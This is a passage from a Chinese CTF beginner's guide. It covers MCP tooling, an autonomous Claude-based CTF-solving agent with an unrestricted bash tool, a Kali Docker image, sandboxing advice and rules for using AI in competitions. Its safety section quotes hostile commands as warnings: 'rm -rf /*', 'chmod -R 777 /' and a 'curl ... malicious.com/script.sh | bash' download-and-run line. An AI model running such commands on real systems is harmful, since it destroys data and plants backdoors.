- 向量数据库（RAG）

✅ API集成：
- GitHub操作（提交代码）
- Slack通知
- Google Drive文件
- 自定义REST API

✅ 浏览器控制（实验性）：
- Puppeteer操控
- 爬取网页
- 自动填表

✅ Docker管理：
- 启动/停止容器
- 执行容器内命令
- 管理镜像

目前的局限（需注意）

❌ 安全风险：
- AI可能执行危险命令（rm -rf /）
- 需要严格的权限控制
- 建议在虚拟机/容器中运行

❌ 稳定性问题：
- MCP协议还在快速迭代
- 部分工具兼容性不完善
- 可能出现意外错误

❌ 成本考量：
- 需要AI API调用（Claude/GPT）
- 大量工具调用会产生较高费用
- 本地模型（Ollama）能力较弱

❌ 复杂度高：
- 配置学习曲线陡峭
- 需要理解JSON-RPC协议
- 调试困难

❌ 并非万能：
- 复杂的人类直觉判断还是需要人工
- 新型/非常规题型AI可能搞不定
- 某些GUI操作不如人类灵活

学习路线图

前置知识要求

必备技能（缺一不可）：
✅ Linux基础命令（cd/ls/chmod/curl等）
✅ Python编程（能看懂和修改脚本）
✅ JSON格式理解
✅ Docker基础（build/run/exec）
✅ API调用概念（REST/HTTP）
✅ 环境变量配置（export/PATH）

加分项（有更好）：
✅ Node.js/TypeScript（部分MCP服务器用）
✅ 系统架构理解（客户端-服务器模型）
✅ Claude API使用经验
✅ VS Code扩展开发

时间投入估算：
- 零基础 → 能用：40-60小时
- 有基础 → 能用：10-20小时
- 能用 → 精通：50-100小时

7天速成计划（理想情况）

Day 1：概念理解
- 阅读官方文档Introduction
- 理解MCP架构（客户端-服务器-AI）
- 看一个完整的Demo视频

Day 2：环境搭建
- 安装Claude Desktop / Cursor
- 配置第一个MCP服务器（文件系统）
- 测试基本交互

Day 3：实战练习
- 使用MCP读取本地文件
- 让AI执行简单命令
- 理解配置文件结构

Day 4：工具集成
- 配置GitHub MCP服务器
- 配置Puppeteer（浏览器控制）
- 理解多服务器协同

Day 5：CTF场景应用
- 配置CTF相关工具（binwalk/strings）
- 让AI自动分析题目附件
- 测试解题自动化

Day 6：安全加固
- 在虚拟机/Docker中运行
- 配置权限限制
- 测试危险命令拦截

Day 7：综合实战
- 搭建完整的自动化解题环境
- 用真实CTF题目测试
- 优化工作流

⚠️ 现实情况：
这个计划很理想，实际可能需要2-3周
中间会遇到各种Bug和配置问题
建议边学边问AI，不要死磕

为什么本指南不详细展开

❌ 24小时内无法掌握MCP的原因：

1. 配置复杂度高
 - 需要安装多个组件
 - 配置文件语法严格
 - 调试困难，报错不友好

2. 前置知识要求高
 - Docker/API/JSON等概念
 - 需要理解系统架构
 - 不是"复制粘贴"就能用

3. 稳定性和兼容性问题
 - 协议还在快速迭代
 - 不同平台配置差异大
 - 可能遇到各种奇怪Bug

4. 性价比考量
 - 对于新手，普通AI对话已经够用
 - MCP的优势在自动化，新手先学基础
 - 投入时间 vs 比赛收益不成正比

5. 安全风险
 - AI执行命令可能误删文件
 - 需要在隔离环境测试
 - 新手容易配错权限

✅ 本指南的定位：
- 让你知道MCP存在
- 理解它能做什么
- 给出学习方向
- 但不期望24小时内掌握

✅ 推荐学习时机：
- 完成3-5场CTF比赛后
- 熟练使用普通AI辅助解题
- 有明确的自动化需求
- 有时间深入学习（至少1周）

MCP基础配置指南

环境选择：Claude Desktop vs Cursor vs Claude CLI

方案对比：

【Claude Desktop】（最简单）
- 官方应用，配置最友好
- 图形界面，适合新手
- 支持的MCP服务器最多
- 下载：https://claude.ai/download

【Cursor】（编程友好）
- IDE环境，适合写代码
- 内置Claude，支持MCP
- 适合CTF脚本开发
- 下载：https://cursor.com

【Claude CLI】（终端高手）
- 命令行工具，极客最爱
- 适合自动化脚本
- 配置最灵活
- 需要配置API Key

纯AI自动化比赛场景（如腾讯黑客松）

什么是"纯AI比赛"？

规则特点：
❌ 不允许人工干预
✅ AI从头到尾自主解题
✅ AI自己下载题目
✅ AI自己分析附件
✅ AI自己编写脚本
✅ AI自己提交flag

代表赛事：
- 腾讯黑客松（AI赛道）
- 各类"AI CTF"比赛
- 未来可能成为主流形式

技术架构：
AI Agent + MCP + 工具链 + 自动化脚本

完整自动化工作流设计

架构图：

┌─────────────────────────────────────────┐
│ Claude API / GPT-4 API / 本地模型 │
│ （大脑：决策和规划） │
└──────────────┬──────────────────────────┘
 │
 ▼
┌─────────────────────────────────────────┐
│ MCP Hub（协调中心） │
│ - 接收AI指令 │
│ - 调度工具执行 │
│ - 汇总结果返回 │
└──────────────┬──────────────────────────┘
 │
 ┌──────────┴───────────┬──────────┐
 ▼ ▼ ▼
┌────────┐ ┌────────────┐ ┌──────┐
│题目下载 │ │ 分析工具 │ │提交 │
│ MCP │ │ 集合 │ │ MCP │
└────────┘ └────────────┘ └──────┘
 │
 ┌─────────────────┼─────────────────┐
 ▼ ▼ ▼
 ┌──────┐ ┌──────┐ ┌──────┐
 │binwalk│ │Ghidra│ │pwntools│
 └──────┘ └──────┘ └──────┘

完整自动化脚本示例：

 1#!/usr/bin/env python3
 2"""
 3CTF全自动解题Agent
 4适用于纯AI比赛（如腾讯黑客松）
 5"""
 6
 7import anthropic
 8import os
 9import json
 10import subprocess
 11from pathlib import Path
 12
 13class CTFAutoAgent:
 14 def __init__(self, api_key, competition_url, workspace="/tmp/ctf_auto"):
 15 """
 16 初始化自动化Agent
 17 
 18 Args:
 19 api_key: Claude API密钥
 20 competition_url: 比赛平台URL
 21 workspace: 工作目录
 22 """
 23 self.client = anthropic.Anthropic(api_key=api_key)
 24 self.competition_url = competition_url
 25 self.workspace = Path(workspace)
 26 self.workspace.mkdir(exist_ok=True)
 27 
 28 # MCP工具配置
 29 self.tools = self._setup_tools()
 30 
 31 def _setup_tools(self):
 32 """配置MCP工具集"""
 33 return [
 34 {
 35 "name": "bash",
 36 "description": "执行bash命令，返回输出",
 37 "input_schema": {
 38 "type": "object",
 39 "properties": {
 40 "command": {"type": "string", "description": "要执行的命令"}
 41 },
 42 "required": ["command"]
 43 }
 44 },
 45 {
 46 "name": "read_file",
 47 "description": "读取文件内容",
 48 "input_schema": {
 49 "type": "object",
 50 "properties": {
 51 "path": {"type": "string", "description": "文件路径"}
 52 },
 53 "required": ["path"]
 54 }
 55 },
 56 {
 57 "name": "write_file",
 58 "description": "写入文件",
 59 "input_schema": {
 60 "type": "object",
 61 "properties": {
 62 "path": {"type": "string"},
 63 "content": {"type": "string"}
 64 },
 65 "required": ["path", "content"]
 66 }
 67 },
 68 {
 69 "name": "submit_flag",
 70 "description": "提交flag到比赛平台",
 71 "input_schema": {
 72 "type": "object",
 73 "properties": {
 74 "challenge_id": {"type": "string"},
 75 "flag": {"type": "string"}
 76 },
 77 "required": ["challenge_id", "flag"]
 78 }
 79 }
 80 ]
 81 
 82 def execute_tool(self, tool_name, tool_input):
 83 """执行工具调用"""
 84 if tool_name == "bash":
 85 result = subprocess.run(
 86 tool_input["command"],
 87 shell=True,
 88 capture_output=True,
 89 text=True,
 90 cwd=self.workspace,
 91 timeout=300 # 5分钟超时
 92 )
 93 return {
 94 "stdout": result.stdout,
 95 "stderr": result.stderr,
 96 "returncode": result.returncode
 97 }
 98 
 99 elif tool_name == "read_file":
100 path = self.workspace / tool_input["path"]
101 with open(path, 'r') as f:
102 return {"content": f.read()}
103 
104 elif tool_name == "write_file":
105 path = self.workspace / tool_input["path"]
106 path.parent.mkdir(parents=True, exist_ok=True)
107 with open(path, 'w') as f:
108 f.write(tool_input["content"])
109 return {"success": True}
110 
111 elif tool_name == "submit_flag":
112 # 调用比赛平台API提交
113 return self._submit_to_platform(
114 tool_input["challenge_id"],
115 tool_input["flag"]
116 )
117 
118 def solve_challenge(self, challenge_info):
119 """
120 完全自动化解题流程
121 
122 Args:
123 challenge_info: 题目信息（名称、分类、描述、附件URL等）
124 """
125 print(f"[*] 开始解题: {challenge_info['name']}")
126 
127 # 初始提示词
128 initial_prompt = f"""
129你是一个CTF自动化解题Agent。现在需要解决以下题目：
130
131题目名称：{challenge_info['name']}
132分类：{challenge_info['category']}
133描述：{challenge_info['description']}
134附件：{challenge_info.get('files', [])}
135
136你的任务：
1371. 下载并分析附件
1382. 识别题目类型和漏洞
1393. 编写解题脚本
1404. 获取flag并提交
141
142你可以使用以下工具：
143- bash: 执行任何命令（binwalk/strings/file等）
144- read_file: 读取文件
145- write_file: 创建脚本
146- submit_flag: 提交答案
147
148工作目录：{self.workspace}
149
150请开始解题，一步步思考并使用工具。
151"""
152 
153 messages = [{"role": "user", "content": initial_prompt}]
154 
155 # 迭代对话，直到提交flag或达到最大轮次
156 max_turns = 20
157 for turn in range(max_turns):
158 print(f"\n[Turn {turn+1}/{max_turns}]")
159 
160 # 调用Claude
161 response = self.client.messages.create(
162 model="claude-sonnet-4-20250514",
163 max_tokens=4096,
164 tools=self.tools,
165 messages=messages
166 )
167 
168 # 处理响应
169 if response.stop_reason == "end_turn":
170 print("[!] AI认为任务完成")
171 break
172 
173 elif response.stop_reason == "tool_use":
174 # AI要求使用工具
175 for content in response.content:
176 if content.type == "tool_use":
177 tool_name = content.name
178 tool_input = content.input
179 
180 print(f"[Tool] {tool_name}: {tool_input}")
181 
182 # 执行工具
183 try:
184 tool_result = self.execute_tool(tool_name, tool_input)
185 print(f"[Result] {tool_result}")
186 
187 # 将结果返回给AI
188 messages.append({"role": "assistant", "content": response.content})
189 messages.append({
190 "role": "user",
191 "content": [{
192 "type": "tool_result",
193 "tool_use_id": content.id,
194 "content": json.dumps(tool_result)
195 }]
196 })
197 
198 # 检查是否提交了flag
199 if tool_name == "submit_flag":
200 if tool_result.get("correct"):
201 print(f"[✓] Flag正确！")
202 return True
203 else:
204 print(f"[✗] Flag错误，继续尝试")
205 
206 except Exception as e:
207 print(f"[Error] 工具执行失败: {e}")
208 messages.append({
209 "role": "user",
210 "content": f"工具执行出错：{str(e)}，请重新尝试"
211 })
212 
213 else:
214 print(f"[!] 意外的stop_reason: {response.stop_reason}")
215 break
216 
217 print(f"[!] 达到最大轮次，未能解出")
218 return False
219 
220 def _submit_to_platform(self, challenge_id, flag):
221 """提交flag到比赛平台（需根据实际平台实现）"""
222 # 示例：调用平台API
223 import requests
224 response = requests.post(
225 f"{self.competition_url}/api/submit",
226 json={"challenge_id": challenge_id, "flag": flag},
227 headers={"Authorization": f"Bearer {os.getenv('CTF_TOKEN')}"}
228 )
229 return response.json()
230
231def main():
232 # 配置
233 API_KEY = os.getenv("ANTHROPIC_API_KEY")
234 COMPETITION_URL = "https://ctf.example.com"
235 
236 # 初始化Agent
237 agent = CTFAutoAgent(API_KEY, COMPETITION_URL)
238 
239 # 获取题目列表（从平台API）
240 challenges = fetch_challenges(COMPETITION_URL)
241 
242 # 逐个解题
243 for challenge in challenges:
244 try:
245 success = agent.solve_challenge(challenge)
246 if success:
247 print(f"[+] {challenge['name']} 解决成功！")
248 except Exception as e:
249 print(f"[!] {challenge['name']} 失败: {e}")
250
251if __name__ == '__main__':
252 main()

Docker镜像打包：一键部署解题环境

为什么要用Docker？

优势：
✅ 隔离环境，防止AI误删本地文件
✅ 快速部署，比赛虚拟机上直接docker run
✅ 一致性，本地测试和比赛环境相同
✅ 版本控制，Dockerfile即文档

使用场景：
1. 腾讯黑客松提供的虚拟机
2. 比赛平台的沙箱环境
3. 本地笔记本虚拟机测试

完整Dockerfile

 1# CTF自动化解题环境
 2# 基于Kali Linux（自带CTF工具）
 3
 4FROM kalilinux/kali-rolling:latest
 5
 6LABEL maintainer="your-email@example.com"
 7LABEL description="CTF Auto-Solving Environment with MCP"
 8
 9# 设置时区
10ENV TZ=Asia/Shanghai
11RUN ln -snf /usr/share/zoneinfo/$TZ /etc/localtime && echo $TZ > /etc/timezone
12
13# 更新系统并安装基础工具
14RUN apt-get update && apt-get install -y \
15 # 基础工具
16 curl wget git vim nano \
17 build-essential \
18 # Python环境
19 python3 python3-pip python3-venv \
20 # Node.js（MCP需要）
21 nodejs npm \
22 # CTF工具
23 binwalk foremost steghide stegsolve \
24 john hashcat hydra \
25 nmap masscan \
26 wireshark tshark \
27 sqlmap \
28 metasploit-framework \
29 # 逆向工具
30 gdb gdb-multiarch \
31 radare2 \
32 # Pwn工具
33 patchelf \
34 && apt-get clean
35
36# 安装pwntools
37RUN pip3 install --break-system-packages \
38 pwntools \
39 requests \
40 pycryptodome \
41 z3-solver \
42 angr \
43 anthropic
44
45# 安装GDB增强插件
46RUN git clone https://github.com/pwndbg/pwndbg /opt/pwndbg && \
47 cd /opt/pwndbg && ./setup.sh
48
49# 安装Claude CLI（如果有官方版本）
50# RUN npm install -g @anthropic-ai/claude-cli
51
52# 安装MCP服务器
53RUN npm install -g \
54 @modelcontextprotocol/server-filesystem \
55 @modelcontextprotocol/server-github \
56 @modelcontextprotocol/server-puppeteer
57
58# 创建工作目录
59WORKDIR /ctf
60
61# 复制自动化脚本
62COPY auto_agent.py /ctf/
63COPY mcp_config.json /root/.config/claude/
64
65# 设置环境变量（运行时需要提供）
66ENV ANTHROPIC_API_KEY=""
67ENV CTF_PLATFORM_URL=""
68ENV CTF_PLATFORM_TOKEN=""
69
70# 创建启动脚本
71RUN echo '#!/bin/bash\n\
72echo "CTF Auto-Solving Environment"\n\
73echo "=============================="\n\
74echo "API Key: ${ANTHROPIC_API_KEY:0:10}..."\n\
75echo "Platform: $CTF_PLATFORM_URL"\n\
76echo ""\n\
77echo "Starting auto-solving agent..."\n\
78python3 /ctf/auto_agent.py\n\
79' > /ctf/start.sh && chmod +x /ctf/start.sh
80
81# 默认命令
82CMD ["/ctf/start.sh"]

构建和使用

构建镜像：

1# 构建镜像
2docker build -t ctf-auto-agent:latest .
3
4# 查看镜像大小
5docker images | grep ctf-auto-agent

运行容器（本地测试）：

 1# 交互式运行
 2docker run -it --rm \
 3 -e ANTHROPIC_API_KEY="your-api-key" \
 4 -e CTF_PLATFORM_URL="https://ctf.example.com" \
 5 -v $(pwd)/challenges:/ctf/challenges \
 6 ctf-auto-agent:latest \
 7 /bin/bash
 8
 9# 后台运行自动解题
10docker run -d \
11 --name ctf-solver \
12 -e ANTHROPIC_API_KEY="your-api-key" \
13 -e CTF_PLATFORM_URL="https://ctf.example.com" \
14 -e CTF_PLATFORM_TOKEN="your-token" \
15 ctf-auto-agent:latest
16
17# 查看日志
18docker logs -f ctf-solver

比赛现场快速部署：

 1# 方案1：从Docker Hub拉取（提前推送）
 2docker pull yourusername/ctf-auto-agent:latest
 3docker run -d -e ANTHROPIC_API_KEY="xxx" yourusername/ctf-auto-agent
 4
 5# 方案2：导出镜像文件（U盘携带）
 6# 赛前准备：
 7docker save ctf-auto-agent:latest | gzip > ctf-agent.tar.gz
 8
 9# 赛场快速加载：
10docker load < ctf-agent.tar.gz
11docker run -d -e ANTHROPIC_API_KEY="xxx" ctf-auto-agent:latest

推荐给AI智能体搭建一个网页版的UI，方便使用和查看智能体状态

安全建议：虚拟机隔离

为什么不在物理机安装？

⚠️ AI的"幻觉"风险：

真实案例：
AI: "清理临时文件..."
执行: rm -rf /* （本意是 rm -rf /tmp/*）
结果: 💥 整个系统被删除

AI: "修复权限问题..."
执行: chmod -R 777 / 
结果: 💥 系统安全性崩溃

AI: "安装依赖..."
执行: curl http://malicious.com/script.sh | bash
结果: 💥 植入后门

虽然现代AI很聪明，但：
- 仍会出现指令理解偏差
- 对系统的破坏性操作缺乏足够警觉
- 在自动化模式下，人工来不及拦截

推荐方案：虚拟机 + Docker双保险

方案1：本地VMware/VirtualBox

1. 安装虚拟机（Ubuntu/Debian）
2. 虚拟机内安装Docker
3. Docker运行CTF自动化环境

保护层级：
物理机 → 虚拟机 → Docker容器 → AI执行

即使AI删库，最多炸掉虚拟机，快照恢复即可

方案2：云虚拟机（AWS/阿里云）

优势：
- 随时可以重建
- 不占用本地资源
- 网络环境更纯净（某些题目需要）

成本：
- 按需付费，比赛期间开启
- 建议选择最低配置（2C4G够用）

安全配置清单

Docker容器安全限制：

 1# 限制资源使用
 2docker run \
 3 --cpus="2.0" \  # 最多用2个CPU
 4 --memory="4g" \  # 最多用4GB内存
 5 --pids-limit=100 \  # 最多100个进程
 6 --read-only \  # 根文件系统只读
 7 --tmpfs /tmp \  # 临时文件用tmpfs
 8 --network=none \  # 初期不给网络（防止外连）
 9 ctf-auto-agent
10
11# 使用非root用户
12docker run --user 1000:1000 ...
13
14# 限制能力（Capabilities）
15docker run --cap-drop=ALL --cap-add=NET_BIND_SERVICE ...

MCP权限限制：

 1{
 2 "mcpServers": {
 3 "filesystem": {
 4 "command": "npx",
 5 "args": [
 6 "-y",
 7 "@modelcontextprotocol/server-filesystem",
 8 "/ctf/workspace" // 只允许访问特定目录
 9 ],
10 "permissions": {
11 "read": true,
12 "write": true,
13 "execute": false // 不允许执行文件
14 }
15 }
16 }
17}

实战建议与最佳实践

本地笔记本配置推荐

【推荐配置】

硬件：
- CPU: 4核以上
- 内存: 16GB+（虚拟机分8GB）
- 硬盘: SSD 100GB空闲空间

软件栈：
物理机（Windows/Mac/Linux）
 └── VMware/VirtualBox
 └── Ubuntu 22.04 虚拟机
 └── Docker
 └── CTF Auto Agent容器
 └── Claude MCP + 工具链

网络：
- 虚拟机用NAT模式（可访问外网）
- Docker容器按需开启网络

比赛现场策略

赛前准备（在家完成）：
✅ 构建Docker镜像
✅ 导出为tar.gz文件
✅ U盘/云盘双备份
✅ 本地测试通过

到达赛场：
✅ 检查虚拟机是否可用
✅ 测试网络连通性
✅ 加载Docker镜像（<5分钟）
✅ 配置API Key和Token
✅ 运行健康检查脚本

比赛中：
✅ 监控AI日志（docker logs -f）
✅ 人工检查关键操作（提交前）
✅ 定期快照虚拟机
✅ 遇到bug立刻切换到人工模式

赛后：
✅ 导出日志和对话记录
✅ 保存Docker容器状态
✅ 整理AI的解题过程

MCP学习总结

适合学习MCP的人群

✅ 推荐学习：
- 参加过5+场CTF比赛
- 熟练使用普通AI辅助解题
- 有Python/Docker基础
- 想要自动化重复性工作
- 对新技术有热情

⚠️ 暂时不推荐：
- CTF完全新手
- 没时间深入学习（<1周）
- 只为了24小时速成
- 没有编程基础

学习路径图

阶段1：普通AI辅助（现在就开始）
↓ 完成3-5场比赛
阶段2：工具链优化（批量脚本、笔记库）
↓ 发现重复性工作痛点
阶段3：MCP入门（配置基础MCP服务器）
↓ 1-2周学习
阶段4：自动化实践（半自动解题）
↓ 多次比赛验证
阶段5：完全自动化（纯AI比赛）
↓ 长期优化
阶段6：开源贡献（分享工具和经验）

未来展望

MCP可能带来的变化：

短期（1年内）：
- 更多比赛支持"AI赛道"
- MCP工具生态更完善
- 配置难度降低

中期（2-3年）：
- 纯AI比赛成为主流之一
- 人类选手 + AI Agent混合赛制
- 自动化解题成为基础技能

长期（5年+）：
- CTF从"人类竞赛"到"AI训练场"
- 重点转向AI对抗和防御
- 新的题型设计（专门考验AI）

对CTF选手的启示：
✅ 拥抱AI，学会与AI协作
✅ 关注自动化，提升效率
✅ 但不要完全依赖，人类直觉仍然重要

本章总结：

MCP现状：
✅ 技术很强大，潜力巨大
✅ 适合自动化和纯AI比赛
⚠️ 配置复杂，学习曲线陡
⚠️ 24小时速成不现实

本指南的定位：
✅ 让你知道MCP存在
✅ 理解它的应用场景
✅ 给出学习路径
❌ 不期望立刻掌握

推荐策略：
1. 现在：专注于用好普通AI（Claude/GPT）
2. 完成几场比赛后：考虑学习MCP
3. 有自动化需求时：深入研究
4. 长期目标：构建自己的AI Agent

记住：
工具是辅助，思维才是核心
AI再强，也需要人类的判断和创造力

小贴士：

MCP很酷,但不是必需品,普通AI已经够用
虚拟机+Docker双保险,防止AI"删库跑路"
纯AI比赛是未来趋势,但现在参加的不多
学习MCP的最佳时机:做过10+场CTF之后
Docker镜像提前准备好,比赛现场快速部署
记住:24小时速成的目标是"能上场",不是"成为大师"

六、总结：从速成到精通

24小时能达到的水平

现实预期：从"看不懂"到"能参与"

✅ 你能做到的：

知识层面：
- 理解CTF五大方向的基本概念
- 知道每个方向用什么AI、什么工具
- 能看懂简单题目的思路
- 掌握基本的AI提问技巧

实战能力：
- 独立解决Crypto签到题（编码转换类）
- 在AI辅助下完成Web基础题（简单SQL注入/XSS）
- 使用AI分析Misc题目（图片/压缩包）
- 能读懂AI给的代码并运行
- 完成一场比赛的5-10道简单题

工具使用：
- 注册并熟练使用2-3个AI平台
- 掌握浏览器开发者工具基础
- 会用Burp Suite抓包（AI指导下）
- 了解基本的命令行操作

心态建设：
- 不再对CTF感到完全迷茫
- 知道遇到问题该问AI什么
- 能区分"暂时做不出"和"永远做不出"
- 有继续学习的方向和动力
❌ 你暂时做不到的：

- 独立解决中等难度题目（需要积累）
- 快速识别复杂的漏洞类型
- 手写复杂的Exploit脚本（需要理解原理）
- 在没有AI的情况下完成大部分题目
- 成为队伍的主力得分手
- 稳定进入比赛前50%排名

水平对照表

能力维度	24小时速成后	3个月实战后	1年持续学习后
签到题	✅ 能解	✅ 秒解	✅ 闭眼解
简单题	⚠️ AI辅助能解	✅ 独立能解	✅ 多种解法
中等题	❌ 看不懂	⚠️ AI辅助能解	✅ 独立能解
难题	❌ 完全卡死	❌ 理解思路但做不出	⚠️ AI辅助能解
AI提问	⚠️ 知道要问什么	✅ 能问出关键问题	✅ 多轮追问直到解决
工具使用	⚠️ 会用基础功能	✅ 熟练使用	✅ 自己写脚本
知识体系	❌ 零散	⚠️ 初步建立	✅ 体系完整

AI工具使用的注意事项

信息安全意识（非常重要！）

⚠️ 绝对不能做的事：

1. 把真实的凭证发给AI
 ❌ 真实的密码/Token/API密钥
 ❌ 个人身份证号/银行卡号
 ❌ 公司内部代码/文档
 ❌ 私密的聊天记录/照片

2. 在公共AI平台泄露敏感信息
 ❌ 公司项目的漏洞细节
 ❌ 未公开的0day漏洞
 ❌ 真实系统的配置信息
 ❌ 比赛flag（比赛期间）

3. 盲目执行AI给的代码
 ❌ 不看就复制粘贴运行
 ❌ 在生产环境测试危险命令
 ❌ 给AI系统管理员权限

4. 过度信任AI的判断
 ❌ AI说"这个网站安全"就点进去
 ❌ AI推荐的工具不检查就下载
 ❌ AI生成的Payload直接用在真实系统
✅ 安全最佳实践：

数据脱敏：
- 示例数据代替真实数据
- "假设密码是123456"而不是给真密码
- 用占位符："your-api-key-here"

代码审查：
- AI给的脚本先看懂再运行
- 检查是否有危险命令（rm -rf / curl恶意网站）
- 在虚拟机/容器里测试

权限控制：
- 不要给AI系统root权限
- Docker容器用最小权限运行
- 敏感操作手动确认

平台选择：
- 比赛期间用本地模型（如果可以）
- 敏感代码用私有化部署的AI
- 公开比赛的题目可以问公共AI

学习vs依赖的平衡（核心矛盾）

⚠️ 过度依赖的危险信号：

1. 完全不思考
 - 看到题目第一反应是复制给AI
 - AI说什么就信什么，不验证
 - 不尝试自己理解，只要答案

2. 丧失学习动力
 - "反正AI会，我不用学"
 - 遇到没AI的场景就完全不会
 - 面试/考试被打回原形

3. 能力退化
 - 简单的命令都记不住
 - 写过的代码再遇到还是不会
 - 工具用法每次都要问AI

4. 思维僵化
 - 只会按AI的思路做
 - 没了AI就没有创造力
 - 无法独立分析新问题
✅ 健康的使用方式：

【初期（第1-10道题）】
AI做80%，你做20%
- AI给思路和代码
- 你负责理解和运行
- 重点：理解"为什么这样做"

【成长期（第11-50道题）】
AI做50%，你做50%
- 你先尝试，卡住了问AI
- AI提示思路，你自己实现
- 重点：培养独立解题能力

【成熟期（第51-100道题）】
AI做20%，你做80%
- 你主导解题，AI辅助
- 遇到新知识点问AI
- 重点：形成自己的方法论

【精通期（100+道题）】
AI做辅助，你做决策
- AI是顾问，不是主脑
- 用AI验证自己的想法
- 重点：超越AI的思维

记住：
目标是"借助AI学会"，而不是"依赖AI完成"

比赛规则遵守（职业道德）

✅ 合规使用AI：

1. 明确允许的情况
 - 比赛规则明确说"可以使用AI"
 - 要求在WP中附上AI对话
 - 鼓励使用AI工具（如腾讯黑客松）

2. 灰色地带的处理
 - 规则没明说，但也没禁止 → 保守使用
 - 只用AI学习原理，不直接抄答案
 - 主要靠自己，AI只做辅助

3. WP诚实标注
 - 哪些步骤是AI帮忙的，要说明
 - 附上关键的AI对话记录
 - 不要假装完全是自己做的
❌ 违规使用AI：

1. 明确禁止的场景
 - 规则明确说"不得使用AI"
 - 考核型比赛（招聘/选拔）
 - 学术考试/作业

2. 不正当竞争
 - 用AI批量攻击靶机（DDoS）
 - AI自动爆破其他队的服务
 - 用AI生成大量垃圾提交

3. 隐瞒使用
 - 明明用了AI，WP里不提
 - 把AI的代码说成自己写的
 - 用AI作弊后装作独立完成

⚠️ 后果：
- 成绩作废
- 禁赛处理
- 名誉受损
- 失去招聘/保研机会

💡 判断标准：
问自己三个问题：
1. 规则允许吗？（合规性）
2. 如实报告吗？（诚信性）
3. 主要靠自己吗？（能力性）

三个都是YES → 放心用
有一个是NO → 谨慎使用或不用

记住：
AI是学习工具，不是作弊工具
用AI提升能力，而不是掩盖无能

后续提升方向

深入学习各模块知识

Crypto方向：

第1阶段（1-2周）：
- 系统学习编码转换（Base系列/URL/HTML实体）
- 古典密码（凯撒/维吉尼亚/栅栏/培根）
- 常见哈希算法（MD5/SHA/CRC）

第2阶段（1-2个月）：
- 对称加密（AES/DES/RC4/TEA）
- 非对称加密（RSA基础）
- 数学基础（模运算/欧拉函数）

第3阶段（3-6个月）：
- RSA攻击方法（小指数/共模/Coppersmith）
- 椭圆曲线密码学
- 流密码/分组密码深入

学习资源：
- 《图解密码技术》（入门）
- CTF Wiki - Crypto篇 https://ctf-wiki.org/crypto/introduction/

Web方向：

第1阶段（2-3周）：
- SQL注入（万能密码/Union/报错/盲注）
- XSS（反射/存储/DOM）
- 文件上传绕过

第2阶段（2-3个月）：
- PHP反序列化
- SSRF/XXE
- 代码审计基础
- JWT/OAuth漏洞

第3阶段（6个月+）：
- Java反序列化
- Python沙箱逃逸
- Node.js原型链污染
- 复杂业务逻辑漏洞

学习资源：
- OWASP Top 10
- PortSwigger Web Security Academy
- HackTheBox / VulnHub靶场

Reverse方向：

第1阶段（1个月）：
- 汇编语言基础（x86/x64）
- C语言逆向
- IDA/Ghidra工具使用

第2阶段（3-6个月）：
- 常见算法识别（TEA/RC4/Base64）
- 反调试技术
- 简单壳识别

第3阶段（6个月+）：
- 虚拟机保护（VM）
- 混淆还原
- Android逆向
- Windows驱动逆向

学习资源：
- 《逆向工程权威指南》
- 看雪论坛
- Reversing.kr练习平台

Pwn方向：

第1阶段（2个月）：
- C/C++内存布局
- 栈溢出基础（ret2text/ret2shellcode）
- GDB调试技巧

第2阶段（6个月）：
- ROP链构造
- 格式化字符串漏洞
- Canary/NX/PIE绕过
- ret2libc

第3阶段（1年+）：
- 堆利用（fastbin/tcache/unsorted bin）
- 内核Pwn
- QEMU逃逸
- V8/浏览器漏洞

学习资源：
- 《Hacking: The Art of Exploitation》
- pwn.college
- how2heap项目

Misc方向：

持续积累：
- 常见隐写工具熟练使用
- Wireshark流量分析
- 取证工具（Volatility/Autopsy）
- 各种编码快速识别
- OSINT信息收集

学习方式：
- 没有系统教材，靠刷题积累
- 遇到新题型立刻记录
- 建立自己的工具库和笔记

掌握更多AI高级用法

提示词工程进阶：

初级提示词（你现在的水平）：
"这道题怎么做？"
"帮我写个脚本"

中级提示词（目标水平）：
"这道题是【类型】，我已经尝试了【方法】但遇到【问题】，
请分析可能的原因并提供【具体步骤】"

高级提示词（专家水平）：
使用思维链（Chain of Thought）：
"让我们一步步分析：
1. 首先识别题目类型：【观察】
2. 然后分析已知信息：【列举】
3. 接下来推断攻击思路：【推理】
4. 最后制定具体步骤：【计划】
请按这个流程帮我分析"

学习资源：
- OpenAI Prompt Engineering Guide
- Anthropic Prompting Documentation
- Learn Prompting网站

多AI协作策略：

场景1：交叉验证
- Claude分析代码 → 千问复核 → Gemini第三方意见
- 三个AI结论一致 → 高可信度
- 三个AI意见不同 → 人工判断或继续追问

场景2：功能分工
- Claude：逆向分析、代码理解（最强）
- ChatGPT：创意思路、多角度分析
- 千问：中文资料、本土化问题
- Gemini：快速生成、大量数据处理

场景3：接力解题
- AI1提供初步分析
- 把AI1的结果给AI2深化
- 把AI2的结果给AI3验证
- 最终人工综合判断

AI辅助学习体系：

日常学习：
- 遇到不懂的概念立刻问AI
- 让AI设计学习路径
- 用AI生成练习题，靶场（比单纯解题更能深刻理解漏洞原理）

刷题复盘：
- 做完题让AI总结知识点
- AI帮你关联相似题目
- AI生成这类题的解题模板
- AI预测可能的衍生变化

知识内化：
- 用AI把碎片知识整理成体系
- AI生成思维导图
- AI制作记忆卡片（Anki）
- AI设计阶段性测试

构建个人知识库（终极目标）

知识库架构（升级版）：

📁 CTF-Master-Knowledge-Base/
│
├── 📁 00-Dashboard/ # 仪表盘
│ ├── 📄 学习进度追踪.md # 进度可视化
│ ├── 📄 技能树评估.md # 各方向能力评分
│ ├── 📄 刷题统计.md # 题目数量/难度分布
│ └── 📄 月度总结.md # 每月复盘
│
├── 📁 01-Competitions/ # 比赛记录（原有）
│ └── ...
│
├── 📁 02-Practice/ # 练习题（原有）
│ └── ...
│
├── 📁 03-Knowledge/ # 知识笔记（扩展）
│ ├── 📁 原理讲解/
│ │ ├── 📄 栈溢出原理.md
│ │ ├── 📄 RSA数学基础.md
│ │ └── ...
│ ├── 📁 解题套路/
│ │ ├── 📄 SQL注入套路总结.md
│ │ ├── 📄 常见编码识别流程.md
│ │ └── ...
│ ├── 📁 工具使用/
│ │ ├── 📄 IDA Pro使用技巧.md
│ │ ├── 📄 Burp Suite完全指南.md
│ │ └── ...
│ └── 📁 漏洞复现/
│ ├── 📄 CVE-2024-XXXX复现.md
│ └── ...
│
├── 📁 04-Tools/ # 工具和脚本（扩展）
│ ├── 📁 auto-scripts/ # 自动化脚本
│ │ ├── 📄 题目下载器.py
│ │ ├── 📄 编码批量转换.py
│ │ └── ...
│ ├── 📁 templates/ # 代码模板
